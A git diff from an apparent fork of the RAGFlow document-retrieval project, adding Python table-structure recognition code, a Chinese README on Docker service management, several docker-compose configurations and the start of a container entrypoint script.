in lts if b["label"].find("row") > 0 or b["label"].find("header") > 0] + if not left: + continue + left = np.mean(left) if len(left) > 4 else np.min(left) + right = np.mean(right) if len(right) > 4 else np.max(right) + for b in lts: + if b["label"].find("row") > 0 or b["label"].find("header") > 0: + if b["x0"] > left: + b["x0"] = left + if b["x1"] < right: + b["x1"] = right + + top = [b["top"] for b in lts if b["label"] == "table column"] + bottom = [b["bottom"] for b in lts if b["label"] == "table column"] + if not top: + res.append(lts) + continue + top = np.median(top) if len(top) > 4 else np.min(top) + bottom = np.median(bottom) if len(bottom) > 4 else np.max(bottom) + for b in lts: + if b["label"] == "table column": + if b["top"] > top: + b["top"] = top + if b["bottom"] < bottom: + b["bottom"] = bottom + + res.append(lts) + return res + + @staticmethod + def is_caption(bx): + patt = [r"[图表]+[ 0-9:：]{2,}"] + if any([re.match(p, bx["text"].strip()) for p in patt]) or bx.get("layout_type", "").find("caption") >= 0: + return True + return False + + @staticmethod + def blockType(b): + patt = [ + ("^(20|19)[0-9]{2}[年/-][0-9]{1,2}[月/-][0-9]{1,2}日*$", "Dt"), + (r"^(20|19)[0-9]{2}年$", "Dt"), + (r"^(20|19)[0-9]{2}[年-][0-9]{1,2}月*$", "Dt"), + ("^[0-9]{1,2}[月-][0-9]{1,2}日*$", "Dt"), + (r"^第*[一二三四1-4]季度$", "Dt"), + (r"^(20|19)[0-9]{2}年*[一二三四1-4]季度$", "Dt"), + (r"^(20|19)[0-9]{2}[ABCDE]$", "Dt"), + ("^[0-9.,+%/ -]+$", "Nu"), + (r"^[0-9A-Z/\._~-]+$", "Ca"), + (r"^[A-Z]*[a-z' -]+$", "En"), + (r"^[0-9.,+-]+[0-9A-Za-z/$￥%<>（）()' -]+$", "NE"), + (r"^.{1}$", "Sg"), + ] + for p, n in patt: + if re.search(p, b["text"].strip()): + return n + tks = [t for t in rag_tokenizer.tokenize(b["text"]).split() if len(t) > 1] + if len(tks) > 3: + if len(tks) < 12: + return "Tx" + else: + return "Lx" + + if len(tks) == 1 and rag_tokenizer.tag(tks[0]) == "nr": + return "Nr" + + return "Ot" + + @staticmethod + def construct_table(boxes, is_english=False, html=True, **kwargs): + cap = "" + i = 0 + while i < len(boxes): + if TableStructureRecognizer.is_caption(boxes[i]): + if is_english: + cap + " " + cap += boxes[i]["text"] + boxes.pop(i) + i -= 1 + i += 1 + + if not boxes: + return [] + for b in boxes: + b["btype"] = TableStructureRecognizer.blockType(b) + max_type = Counter([b["btype"] for b in boxes]).items() + max_type = max(max_type, key=lambda x: x[1])[0] if max_type else "" + logging.debug("MAXTYPE: " + max_type) + + rowh = [b["R_bott"] - b["R_top"] for b in boxes if "R" in b] + rowh = np.min(rowh) if rowh else 0 + boxes = Recognizer.sort_R_firstly(boxes, rowh / 2) + # for b in boxes:print(b) + boxes[0]["rn"] = 0 + rows = [[boxes[0]]] + btm = boxes[0]["bottom"] + for b in boxes[1:]: + b["rn"] = len(rows) - 1 + lst_r = rows[-1] + if lst_r[-1].get("R", "") != b.get("R", "") or (b["top"] >= btm - 3 and lst_r[-1].get("R", "-1") != b.get("R", "-2")): # new row + btm = b["bottom"] + b["rn"] += 1 + rows.append([b]) + continue + btm = (btm + b["bottom"]) / 2.0 + rows[-1].append(b) + + colwm = [b["C_right"] - b["C_left"] for b in boxes if "C" in b] + colwm = np.min(colwm) if colwm else 0 + crosspage = len(set([b["page_number"] for b in boxes])) > 1 + if crosspage: + boxes = Recognizer.sort_X_firstly(boxes, colwm / 2) + else: + boxes = Recognizer.sort_C_firstly(boxes, colwm / 2) + boxes[0]["cn"] = 0 + cols = [[boxes[0]]] + right = boxes[0]["x1"] + for b in boxes[1:]: + b["cn"] = len(cols) - 1 + lst_c = cols[-1] + if (int(b.get("C", "1")) - int(lst_c[-1].get("C", "1")) == 1 and b["page_number"] == lst_c[-1]["page_number"]) or ( + b["x0"] >= right and lst_c[-1].get("C", "-1") != b.get("C", "-2") + ): # new col + right = b["x1"] + b["cn"] += 1 + cols.append([b]) + continue + right = (right + b["x1"]) / 2.0 + cols[-1].append(b) + + tbl = [[[] for _ in range(len(cols))] for _ in range(len(rows))] + for b in boxes: + tbl[b["rn"]][b["cn"]].append(b) + + if len(rows) >= 4: + # remove single in column + j = 0 + while j < len(tbl[0]): + e, ii = 0, 0 + for i in range(len(tbl)): + if tbl[i][j]: + e += 1 + ii = i + if e > 1: + break + if e > 1: + j += 1 + continue + f = (j > 0 and tbl[ii][j - 1] and tbl[ii][j - 1][0].get("text")) or j == 0 + ff = (j + 1 < len(tbl[ii]) and tbl[ii][j + 1] and tbl[ii][j + 1][0].get("text")) or j + 1 >= len(tbl[ii]) + if f and ff: + j += 1 + continue + bx = tbl[ii][j][0] + logging.debug("Relocate column single: " + bx["text"]) + # j column only has one value + left, right = 100000, 100000 + if j > 0 and not f: + for i in range(len(tbl)): + if tbl[i][j - 1]: + left = min(left, np.min([bx["x0"] - a["x1"] for a in tbl[i][j - 1]])) + if j + 1 < len(tbl[0]) and not ff: + for i in range(len(tbl)): + if tbl[i][j + 1]: + right = min(right, np.min([a["x0"] - bx["x1"] for a in tbl[i][j + 1]])) + assert left < 100000 or right < 100000 + if left < right: + for jj in range(j, len(tbl[0])): + for i in range(len(tbl)): + for a in tbl[i][jj]: + a["cn"] -= 1 + if tbl[ii][j - 1]: + tbl[ii][j - 1].extend(tbl[ii][j]) + else: + tbl[ii][j - 1] = tbl[ii][j] + for i in range(len(tbl)): + tbl[i].pop(j) + + else: + for jj in range(j + 1, len(tbl[0])): + for i in range(len(tbl)): + for a in tbl[i][jj]: + a["cn"] -= 1 + if tbl[ii][j + 1]: + tbl[ii][j + 1].extend(tbl[ii][j]) + else: + tbl[ii][j + 1] = tbl[ii][j] + for i in range(len(tbl)): + tbl[i].pop(j) + cols.pop(j) + assert len(cols) == len(tbl[0]), "Column NO. miss matched: %d vs %d" % (len(cols), len(tbl[0])) + + if len(cols) >= 4: + # remove single in row + i = 0 + while i < len(tbl): + e, jj = 0, 0 + for j in range(len(tbl[i])): + if tbl[i][j]: + e += 1 + jj = j + if e > 1: + break + if e > 1: + i += 1 + continue + f = (i > 0 and tbl[i - 1][jj] and tbl[i - 1][jj][0].get("text")) or i == 0 + ff = (i + 1 < len(tbl) and tbl[i + 1][jj] and tbl[i + 1][jj][0].get("text")) or i + 1 >= len(tbl) + if f and ff: + i += 1 + continue + + bx = tbl[i][jj][0] + logging.debug("Relocate row single: " + bx["text"]) + # i row only has one value + up, down = 100000, 100000 + if i > 0 and not f: + for j in range(len(tbl[i - 1])): + if tbl[i - 1][j]: + up = min(up, np.min([bx["top"] - a["bottom"] for a in tbl[i - 1][j]])) + if i + 1 < len(tbl) and not ff: + for j in range(len(tbl[i + 1])): + if tbl[i + 1][j]: + down = min(down, np.min([a["top"] - bx["bottom"] for a in tbl[i + 1][j]])) + assert up < 100000 or down < 100000 + if up < down: + for ii in range(i, len(tbl)): + for j in range(len(tbl[ii])): + for a in tbl[ii][j]: + a["rn"] -= 1 + if tbl[i - 1][jj]: + tbl[i - 1][jj].extend(tbl[i][jj]) + else: + tbl[i - 1][jj] = tbl[i][jj] + tbl.pop(i) + + else: + for ii in range(i + 1, len(tbl)): + for j in range(len(tbl[ii])): + for a in tbl[ii][j]: + a["rn"] -= 1 + if tbl[i + 1][jj]: + tbl[i + 1][jj].extend(tbl[i][jj]) + else: + tbl[i + 1][jj] = tbl[i][jj] + tbl.pop(i) + rows.pop(i) + + # which rows are headers + hdset = set([]) + for i in range(len(tbl)): + cnt, h = 0, 0 + for j, arr in enumerate(tbl[i]): + if not arr: + continue + cnt += 1 + if max_type == "Nu" and arr[0]["btype"] == "Nu": + continue + if any([a.get("H") for a in arr]) or (max_type == "Nu" and arr[0]["btype"] != "Nu"): + h += 1 + if h / cnt > 0.5: + hdset.add(i) + + if html: + return TableStructureRecognizer.__html_table(cap, hdset, TableStructureRecognizer.__cal_spans(boxes, rows, cols, tbl, True)) + + return TableStructureRecognizer.__desc_table(cap, hdset, TableStructureRecognizer.__cal_spans(boxes, rows, cols, tbl, False), is_english) + + @staticmethod + def __html_table(cap, hdset, tbl): + # constrcut HTML + html = "" + if cap: + html += f"" + for i in range(len(tbl)): + row = "" + txts = [] + for j, arr in enumerate(tbl[i]): + if arr is None: + continue + if not arr: + row += "" if i not in hdset else "" + continue + txt = "" + if arr: + h = min(np.min([c["bottom"] - c["top"] for c in arr]) / 2, 10) + txt = " ".join([c["text"] for c in Recognizer.sort_Y_firstly(arr, h)]) + txts.append(txt) + sp = "" + if arr[0].get("colspan"): + sp = "colspan={}".format(arr[0]["colspan"]) + if arr[0].get("rowspan"): + sp += " rowspan={}".format(arr[0]["rowspan"]) + if i in hdset: + row += f"" + else: + row += f"" + + if i in hdset: + if all([t in hdset for t in txts]): + continue + for t in txts: + hdset.add(t) + + if row != "": + row += "" + else: + row = "" + html += "\n" + row + html += "\n
{cap}
" + txt + "" + txt + "
" + return html + + @staticmethod + def __desc_table(cap, hdr_rowno, tbl, is_english): + # get text of every colomn in header row to become header text + clmno = len(tbl[0]) + rowno = len(tbl) + headers = {} + hdrset = set() + lst_hdr = [] + de = "的" if not is_english else " for " + for r in sorted(list(hdr_rowno)): + headers[r] = ["" for _ in range(clmno)] + for i in range(clmno): + if not tbl[r][i]: + continue + txt = " ".join([a["text"].strip() for a in tbl[r][i]]) + headers[r][i] = txt + hdrset.add(txt) + if all([not t for t in headers[r]]): + del headers[r] + hdr_rowno.remove(r) + continue + for j in range(clmno): + if headers[r][j]: + continue + if j >= len(lst_hdr): + break + headers[r][j] = lst_hdr[j] + lst_hdr = headers[r] + for i in range(rowno): + if i not in hdr_rowno: + continue + for j in range(i + 1, rowno): + if j not in hdr_rowno: + break + for k in range(clmno): + if not headers[j - 1][k]: + continue + if headers[j][k].find(headers[j - 1][k]) >= 0: + continue + if len(headers[j][k]) > len(headers[j - 1][k]): + headers[j][k] += (de if headers[j][k] else "") + headers[j - 1][k] + else: + headers[j][k] = headers[j - 1][k] + (de if headers[j - 1][k] else "") + headers[j][k] + + logging.debug(f">>>>>>>>>>>>>>>>>{cap}：SIZE:{rowno}X{clmno} Header: {hdr_rowno}") + row_txt = [] + for i in range(rowno): + if i in hdr_rowno: + continue + rtxt = [] + + def append(delimer): + nonlocal rtxt, row_txt + rtxt = delimer.join(rtxt) + if row_txt and len(row_txt[-1]) + len(rtxt) < 64: + row_txt[-1] += "\n" + rtxt + else: + row_txt.append(rtxt) + + r = 0 + if len(headers.items()): + _arr = [(i - r, r) for r, _ in headers.items() if r < i] + if _arr: + _, r = min(_arr, key=lambda x: x[0]) + + if r not in headers and clmno <= 2: + for j in range(clmno): + if not tbl[i][j]: + continue + txt = "".join([a["text"].strip() for a in tbl[i][j]]) + if txt: + rtxt.append(txt) + if rtxt: + append("：") + continue + + for j in range(clmno): + if not tbl[i][j]: + continue + txt = "".join([a["text"].strip() for a in tbl[i][j]]) + if not txt: + continue + ctt = headers[r][j] if r in headers else "" + if ctt: + ctt += "：" + ctt += txt + if ctt: + rtxt.append(ctt) + + if rtxt: + row_txt.append("; ".join(rtxt)) + + if cap: + if is_english: + from_ = " in " + else: + from_ = "来自" + row_txt = [t + f"\t——{from_}“{cap}”" for t in row_txt] + return row_txt + + @staticmethod + def __cal_spans(boxes, rows, cols, tbl, html=True): + # caculate span + clft = [np.mean([c.get("C_left", c["x0"]) for c in cln]) for cln in cols] + crgt = [np.mean([c.get("C_right", c["x1"]) for c in cln]) for cln in cols] + rtop = [np.mean([c.get("R_top", c["top"]) for c in row]) for row in rows] + rbtm = [np.mean([c.get("R_btm", c["bottom"]) for c in row]) for row in rows] + for b in boxes: + if "SP" not in b: + continue + b["colspan"] = [b["cn"]] + b["rowspan"] = [b["rn"]] + # col span + for j in range(0, len(clft)): + if j == b["cn"]: + continue + if clft[j] + (crgt[j] - clft[j]) / 2 < b["H_left"]: + continue + if crgt[j] - (crgt[j] - clft[j]) / 2 > b["H_right"]: + continue + b["colspan"].append(j) + # row span + for j in range(0, len(rtop)): + if j == b["rn"]: + continue + if rtop[j] + (rbtm[j] - rtop[j]) / 2 < b["H_top"]: + continue + if rbtm[j] - (rbtm[j] - rtop[j]) / 2 > b["H_bott"]: + continue + b["rowspan"].append(j) + + def join(arr): + if not arr: + return "" + return "".join([t["text"] for t in arr]) + + # rm the spaning cells + for i in range(len(tbl)): + for j, arr in enumerate(tbl[i]): + if not arr: + continue + if all(["rowspan" not in a and "colspan" not in a for a in arr]): + continue + rowspan, colspan = [], [] + for a in arr: + if isinstance(a.get("rowspan", 0), list): + rowspan.extend(a["rowspan"]) + if isinstance(a.get("colspan", 0), list): + colspan.extend(a["colspan"]) + rowspan, colspan = set(rowspan), set(colspan) + if len(rowspan) < 2 and len(colspan) < 2: + for a in arr: + if "rowspan" in a: + del a["rowspan"] + if "colspan" in a: + del a["colspan"] + continue + rowspan, colspan = sorted(rowspan), sorted(colspan) + rowspan = list(range(rowspan[0], rowspan[-1] + 1)) + colspan = list(range(colspan[0], colspan[-1] + 1)) + assert i in rowspan, rowspan + assert j in colspan, colspan + arr = [] + for r in rowspan: + for c in colspan: + arr_txt = join(arr) + if tbl[r][c] and join(tbl[r][c]) != arr_txt: + arr.extend(tbl[r][c]) + tbl[r][c] = None if html else arr + for a in arr: + if len(rowspan) > 1: + a["rowspan"] = len(rowspan) + elif "rowspan" in a: + del a["rowspan"] + if len(colspan) > 1: + a["colspan"] = len(colspan) + elif "colspan" in a: + del a["colspan"] + tbl[rowspan[0]][colspan[0]] = arr + + return tbl + + def _run_ascend_tsr(self, image_list, thr=0.2, batch_size=16): + import math + + from ais_bench.infer.interface import InferSession + + model_dir = os.path.join(get_project_base_directory(), "rag/res/deepdoc") + model_file_path = os.path.join(model_dir, "tsr.om") + + if not os.path.exists(model_file_path): + raise ValueError(f"Model file not found: {model_file_path}") + + device_id = int(os.getenv("ASCEND_LAYOUT_RECOGNIZER_DEVICE_ID", 0)) + session = InferSession(device_id=device_id, model_path=model_file_path) + + images = [np.array(im) if not isinstance(im, np.ndarray) else im for im in image_list] + results = [] + + conf_thr = max(thr, 0.08) + + batch_loop_cnt = math.ceil(float(len(images)) / batch_size) + for bi in range(batch_loop_cnt): + s = bi * batch_size + e = min((bi + 1) * batch_size, len(images)) + batch_images = images[s:e] + + inputs_list = self.preprocess(batch_images) + for ins in inputs_list: + feeds = [] + if "image" in ins: + feeds.append(ins["image"]) + else: + feeds.append(ins[self.input_names[0]]) + output_list = session.infer(feeds=feeds, mode="static") + bb = self.postprocess(output_list, ins, conf_thr) + results.append(bb) + return results diff --git a/docker/README.md b/docker/README.md new file mode 100644 index 0000000..4a4fbb1 --- /dev/null +++ b/docker/README.md @@ -0,0 +1,85 @@ +# RAGFlow Docker 服务管理 + +## 问题解决 + +原来的配置每次启动 `docker-compose.yml` 都会重新创建 `docker-compose-base.yml` 中的服务，现在已修改为只启动 ragflow 服务。 + +## Docker Compose 网络命名说明 + +Docker Compose 会自动为网络名称添加项目前缀： +- **项目名** + **网络名** = 最终网络名称 +- 默认项目名通常是目录名：`ragflow-20250916` +- 最终网络名：`ragflow-20250916_ragflow` + +## 修改内容 + +1. **移除了 `include` 指令**：不再包含 `docker-compose-base.yml` +2. **使用外部网络**：ragflow 服务连接到由 `docker-compose-base.yml` 创建的 `ragflow-20250916_ragflow` 网络 +3. **移除了 `depends_on`**：不再依赖 postgres 健康检查 +4. **网络配置**： + - `docker-compose-base.yml` 创建名为 `ragflow-20250916_ragflow` 的网络 + - `docker-compose.yml` 使用 `external: true` 连接到已存在的网络 +5. **使用项目名**：通过 `-p ragflow` 参数统一项目名 + +## 使用方法 + +### 首次使用（初始化） +```bash +# 1. 启动基础服务（创建网络） +docker-compose -p ragflow -f docker-compose-base.yml up -d + +# 2. 启动 ragflow 服务 +docker-compose -p ragflow -f docker-compose.yml up -d ragflow +``` + +### 日常使用（只启动 ragflow） +```bash +# 使用脚本（推荐） +./start-ragflow.sh + +# 或手动启动 +docker-compose -p ragflow -f docker-compose.yml up -d ragflow +``` + +### 使用 ragflow.sh（完整管理） +```bash +# 启动 RAGFlow 服务（不重新创建基础服务） +./ragflow.sh start + +# 停止 RAGFlow 服务（保留基础服务） +./ragflow.sh stop + +# 重启 RAGFlow 服务 +./ragflow.sh restart + +# 查看服务状态 +./ragflow.sh status + +# 查看日志 +./ragflow.sh logs +``` + +### 手动操作 +```bash +# 只启动基础服务 +docker-compose -f docker-compose-base.yml up -d + +# 只启动 ragflow 服务 +docker-compose -f docker-compose.yml up -d ragflow + +# 停止 ragflow 服务 +docker-compose -f docker-compose.yml down +``` + +## 服务说明 + +- **基础服务**：postgres、redis、minio、opensearch +- **应用服务**：ragflow-server +- **网络**：ragflow（外部网络） + +## 优势 + +1. **快速启动**：只启动需要的服务 +2. **数据持久**：基础服务数据不会丢失 +3. **灵活管理**：可以独立管理各个服务 +4. **资源节约**：避免不必要的服务重建 \ No newline at end of file diff --git a/docker/docker-compose-CN-oc9.yml b/docker/docker-compose-CN-oc9.yml new file mode 100644 index 0000000..aa6bb3d --- /dev/null +++ b/docker/docker-compose-CN-oc9.yml @@ -0,0 +1,33 @@ +# The RAGFlow team do not actively maintain docker-compose-CN-oc9.yml, so use them at your own risk. +# However, you are welcome to file a pull request to improve it. +include: + - ./docker-compose-base.yml + +services: + ragflow: + depends_on: + mysql: + condition: service_healthy + image: edwardelric233/ragflow:oc9 + container_name: ragflow-server + ports: + - ${SVR_HTTP_PORT}:9380 + - 80:80 + - 443:443 + volumes: + - ./ragflow-logs:/ragflow/logs + - ./nginx/ragflow.conf:/etc/nginx/conf.d/ragflow.conf + - ./nginx/proxy.conf:/etc/nginx/proxy.conf + - ./nginx/nginx.conf:/etc/nginx/nginx.conf + env_file: .env + environment: + - TZ=${TIMEZONE} + - HF_ENDPOINT=${HF_ENDPOINT} + - MACOS=${MACOS} + networks: + - ragflow + restart: on-failure + # https://docs.docker.com/engine/daemon/prometheus/#create-a-prometheus-configuration + # If you're using Docker Desktop, the --add-host flag is optional. This flag makes sure that the host's internal IP gets exposed to the Prometheus container. + extra_hosts: + - "host.docker.internal:host-gateway" diff --git a/docker/docker-compose-base.yml b/docker/docker-compose-base.yml new file mode 100644 index 0000000..20c84f4 --- /dev/null +++ b/docker/docker-compose-base.yml @@ -0,0 +1,126 @@ +services: + + opensearch01: + container_name: ragflow-opensearch-01 + image: hub.icert.top/opensearchproject/opensearch:2.19.1 + volumes: + - osdata01:/usr/share/opensearch/data + ports: + - ${OS_PORT}:9201 + env_file: .env + environment: + - node.name=opensearch01 + - OPENSEARCH_PASSWORD=${OPENSEARCH_PASSWORD} + - OPENSEARCH_INITIAL_ADMIN_PASSWORD=${OPENSEARCH_PASSWORD} + - bootstrap.memory_lock=false + - discovery.type=single-node + - plugins.security.disabled=false + - plugins.security.ssl.http.enabled=false + - plugins.security.ssl.transport.enabled=true + - cluster.routing.allocation.disk.watermark.low=5gb + - cluster.routing.allocation.disk.watermark.high=3gb + - cluster.routing.allocation.disk.watermark.flood_stage=2gb + - TZ=${TIMEZONE} + - http.port=9201 + mem_limit: ${MEM_LIMIT} + ulimits: + memlock: + soft: -1 + hard: -1 + healthcheck: + test: ["CMD-SHELL", "curl http://localhost:9201"] + interval: 10s + timeout: 10s + retries: 120 + networks: + - ragflow + restart: on-failure + + + postgres: + image: postgres:15 + container_name: ragflow-postgres + env_file: .env + environment: + - POSTGRES_DB=${POSTGRES_DBNAME} + - POSTGRES_USER=${POSTGRES_USER} + - POSTGRES_PASSWORD=${POSTGRES_PASSWORD} + - TZ=${TIMEZONE} + ports: + - ${POSTGRES_PORT-5440}:5432 + volumes: + - postgres_data:/var/lib/postgresql/data + networks: + - ragflow + healthcheck: + test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER} -d ${POSTGRES_DBNAME}"] + interval: 10s + timeout: 5s + retries: 5 + restart: on-failure + + minio: + image: quay.io/minio/minio:RELEASE.2025-06-13T11-33-47Z + container_name: ragflow-minio + command: server --console-address ":9001" /data + ports: + - ${MINIO_PORT}:9000 + - ${MINIO_CONSOLE_PORT}:9001 + env_file: .env + environment: + - MINIO_ROOT_USER=${MINIO_USER} + - MINIO_ROOT_PASSWORD=${MINIO_PASSWORD} + - TZ=${TIMEZONE} + volumes: + - minio_data:/data + networks: + - ragflow + restart: on-failure + healthcheck: + test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"] + interval: 30s + timeout: 20s + retries: 3 + + redis: + # swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/valkey/valkey:8 + image: valkey/valkey + container_name: ragflow-redis + command: redis-server --requirepass ${REDIS_PASSWORD} --maxmemory 128mb --maxmemory-policy allkeys-lru + env_file: .env + ports: + - ${REDIS_PORT}:6379 + volumes: + - redis_data:/data + networks: + - ragflow + restart: on-failure + healthcheck: + test: ["CMD", "redis-cli", "-a", "${REDIS_PASSWORD}", "ping"] + interval: 5s + timeout: 3s + retries: 3 + start_period: 10s + + + +volumes: + esdata01: + driver: local + osdata01: + driver: local + infinity_data: + driver: local + mysql_data: + driver: local + minio_data: + driver: local + redis_data: + driver: local + postgres_data: + driver: local + +networks: + ragflow: + name: ragflow-20250916_ragflow + driver: bridge diff --git a/docker/docker-compose-gpu-CN-oc9.yml b/docker/docker-compose-gpu-CN-oc9.yml new file mode 100644 index 0000000..fb4213d --- /dev/null +++ b/docker/docker-compose-gpu-CN-oc9.yml @@ -0,0 +1,40 @@ +# The RAGFlow team do not actively maintain docker-compose-gpu-CN-oc9.yml, so use them at your own risk. +# However, you are welcome to file a pull request to improve it. +include: + - ./docker-compose-base.yml + +services: + ragflow: + depends_on: + mysql: + condition: service_healthy + image: edwardelric233/ragflow:oc9 + container_name: ragflow-server + ports: + - ${SVR_HTTP_PORT}:9380 + - 80:80 + - 443:443 + volumes: + - ./ragflow-logs:/ragflow/logs + - ./nginx/ragflow.conf:/etc/nginx/conf.d/ragflow.conf + - ./nginx/proxy.conf:/etc/nginx/proxy.conf + - ./nginx/nginx.conf:/etc/nginx/nginx.conf + env_file: .env + environment: + - TZ=${TIMEZONE} + - HF_ENDPOINT=${HF_ENDPOINT} + - MACOS=${MACOS} + networks: + - ragflow + restart: on-failure + # https://docs.docker.com/engine/daemon/prometheus/#create-a-prometheus-configuration + # If you're using Docker Desktop, the --add-host flag is optional. This flag makes sure that the host's internal IP gets exposed to the Prometheus container. + extra_hosts: + - "host.docker.internal:host-gateway" + deploy: + resources: + reservations: + devices: + - driver: nvidia + count: all + capabilities: [gpu] diff --git a/docker/docker-compose-gpu.yml b/docker/docker-compose-gpu.yml new file mode 100644 index 0000000..a878ed5 --- /dev/null +++ b/docker/docker-compose-gpu.yml @@ -0,0 +1,40 @@ +# The RAGFlow team do not actively maintain docker-compose-gpu.yml, so use them at your own risk. +# Pull requests to improve it are welcome. +include: + - ./docker-compose-base.yml + +services: + ragflow: + depends_on: + mysql: + condition: service_healthy + image: ${RAGFLOW_IMAGE} + container_name: ragflow-server + ports: + - ${SVR_HTTP_PORT}:9380 + - 80:80 + - 443:443 + volumes: + - ./ragflow-logs:/ragflow/logs + - ./nginx/ragflow.conf:/etc/nginx/conf.d/ragflow.conf + - ./nginx/proxy.conf:/etc/nginx/proxy.conf + - ./nginx/nginx.conf:/etc/nginx/nginx.conf + env_file: .env + environment: + - TZ=${TIMEZONE} + - HF_ENDPOINT=${HF_ENDPOINT} + - MACOS=${MACOS} + networks: + - ragflow + restart: on-failure + # https://docs.docker.com/engine/daemon/prometheus/#create-a-prometheus-configuration + # If you're using Docker Desktop, the --add-host flag is optional. This flag makes sure that the host's internal IP gets exposed to the Prometheus container. + extra_hosts: + - "host.docker.internal:host-gateway" + deploy: + resources: + reservations: + devices: + - driver: nvidia + count: all + capabilities: [gpu] diff --git a/docker/docker-compose-macos.yml b/docker/docker-compose-macos.yml new file mode 100644 index 0000000..0ac91fa --- /dev/null +++ b/docker/docker-compose-macos.yml @@ -0,0 +1,57 @@ +include: + - ./docker-compose-base.yml + +services: + ragflow: + platform: linux/amd64 + depends_on: + mysql: + condition: service_healthy + build: + context: ../ + dockerfile: Dockerfile + container_name: ragflow-server + ports: + - ${SVR_HTTP_PORT}:9380 + - 80:80 + - 443:443 + volumes: + - ./ragflow-logs:/ragflow/logs + - ./nginx/ragflow.conf:/etc/nginx/conf.d/ragflow.conf + - ./nginx/proxy.conf:/etc/nginx/proxy.conf + - ./nginx/nginx.conf:/etc/nginx/nginx.conf + env_file: .env + environment: + - TZ=${TIMEZONE} + - HF_ENDPOINT=${HF_ENDPOINT} + - MACOS=${MACOS:-1} + - LIGHTEN=${LIGHTEN:-1} + networks: + - ragflow + restart: on-failure + # https://docs.docker.com/engine/daemon/prometheus/#create-a-prometheus-configuration + # If you're using Docker Desktop, the --add-host flag is optional. This flag makes sure that the host's internal IP gets exposed to the Prometheus container. + extra_hosts: + - "host.docker.internal:host-gateway" + # executor: + # depends_on: + # mysql: + # condition: service_healthy + # image: ${RAGFLOW_IMAGE} + # container_name: ragflow-executor + # volumes: + # - ./ragflow-logs:/ragflow/logs + # - ./nginx/ragflow.conf:/etc/nginx/conf.d/ragflow.conf + # env_file: .env + # environment: + # - TZ=${TIMEZONE} + # - HF_ENDPOINT=${HF_ENDPOINT} + # - MACOS=${MACOS} + # entrypoint: "/ragflow/entrypoint_task_executor.sh 1 3" + # networks: + # - ragflow + # restart: on-failure + # # https://docs.docker.com/engine/daemon/prometheus/#create-a-prometheus-configuration + # # If you're using Docker Desktop, the --add-host flag is optional. This flag makes sure that the host's internal IP gets exposed to the Prometheus container. + # extra_hosts: + # - "host.docker.internal:host-gateway" diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml new file mode 100644 index 0000000..5e23854 --- /dev/null +++ b/docker/docker-compose.yml @@ -0,0 +1,53 @@ +# To ensure that the container processes the locally modified `service_conf.yaml.template` instead of the one included in its image, you need to mount the local `service_conf.yaml.template` to the container. +services: + ragflow: + image: ${RAGFLOW_IMAGE} + # Example configuration to set up an MCP server: + # command: + # - --enable-mcpserver + # - --mcp-host=0.0.0.0 + # - --mcp-port=9382 + # - --mcp-base-url=http://127.0.0.1:9380 + # - --mcp-script-path=/ragflow/mcp/server/server.py + # - --mcp-mode=self-host + # - --mcp-host-api-key=ragflow-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx + # Optional transport flags for MCP (customize if needed). + # Host mode need to combined with --no-transport-streamable-http-enabled flag, namely, host+streamable-http is not supported yet. + # The following are enabled by default unless explicitly disabled with --no-. + # - --no-transport-sse-enabled # Disable legacy SSE endpoints (/sse and /messages/) + # - --no-transport-streamable-http-enabled # Disable Streamable HTTP transport (/mcp endpoint) + # - --no-json-response # Disable JSON response mode in Streamable HTTP transport (instead of SSE over HTTP) + container_name: ragflow-server + ports: + - ${SVR_HTTP_PORT}:9380 + - 8000:80 + - 8443:443 + - 15678:5678 + - 15679:5679 + - 19382:9382 # entry for MCP (host_port:docker_port). The docker_port must match the value you set for `mcp-port` above. + volumes: + - ./ragflow-logs:/ragflow/logs + - ./nginx/ragflow.conf:/etc/nginx/conf.d/ragflow.conf + - ./nginx/proxy.conf:/etc/nginx/proxy.conf + - ./nginx/nginx.conf:/etc/nginx/nginx.conf + - ../history_data_agent:/ragflow/history_data_agent + - ./service_conf.yaml.template:/ragflow/conf/service_conf.yaml.template + - ./entrypoint.sh:/ragflow/entrypoint.sh + env_file: .env + environment: + - TZ=${TIMEZONE} + - HF_ENDPOINT=${HF_ENDPOINT-} + - MACOS=${MACOS-} + - DB_TYPE=postgres + networks: + - ragflow + restart: on-failure + # https://docs.docker.com/engine/daemon/prometheus/#create-a-prometheus-configuration + # If you use Docker Desktop, the --add-host flag is optional. This flag ensures that the host's internal IP is exposed to the Prometheus container. + extra_hosts: + - "host.docker.internal:host-gateway" + +networks: + ragflow: + name: ragflow-20250916_ragflow + external: true diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh new file mode 100644 index 0000000..7570b73 --- /dev/null +++ b/docker/entrypoint.sh @@ -0,0 +1,210 @@ +#!/usr/bin/env bash + +set -e + +# ----------------------------------------------------------------------------- +# Usage and command-line argument parsing +# ----------------------------------------------------------------------------- +function usage() { + echo "Usage: $0 [--disable-webserver] [--disable-taskexecutor] [--consumer-no-beg=] [--consumer-no-end=] [--workers=] [--host-id=]" + echo + echo " --disable-webserver Disables the web server (nginx + ragflow_server)." + echo " --disable-taskexecutor Disables task executor workers." + echo " --enable-mcpserver Enables the MCP server." + echo " --consumer-no-beg= Start range for consumers (if using range-based)." + echo " --consumer-no-end= End range for consumers (if using range-based)." + echo " --workers= Number of task executors to run (if range is not used)." + echo " --host-id= Unique ID for the host (defaults to \`hostname\`)." + echo + echo "Examples:" + echo " $0 --disable-taskexecutor" + echo " $0 --disable-webserver --consumer-no-beg=0 --consumer-no-end=5" + echo " $0 --disable-webserver --workers=2 --host-id=myhost123" + echo " $0 --enable-mcpserver" + exit 1 +} + +ENABLE_WEBSERVER=1 # Default to enable web server +ENABLE_TASKEXECUTOR=1 # Default to enable task executor +ENABLE_MCP_SERVER=0 +CONSUMER_NO_BEG=0 +CONSUMER_NO_END=0 +WORKERS=1 + +MCP_HOST="127.0.0.1" +MCP_PORT=9382 +MCP_BASE_URL="http://127.0.0.1:9380" +MCP_SCRIPT_PATH="/ragflow/mcp/server/server.py" +MCP_MODE="self-host" +MCP_HOST_API_KEY="" +MCP_TRANSPORT_SSE_FLAG="--transport-sse-enabled" +MCP_TRANSPORT_STREAMABLE_HTTP_FLAG="--transport-streamable-http-enabled" +MCP_JSON_RESPONSE_FLAG="--json-response" + +# ----------------------------------------------------------------------------- +# Host ID logic: +# 1. By default, use the system hostname if length 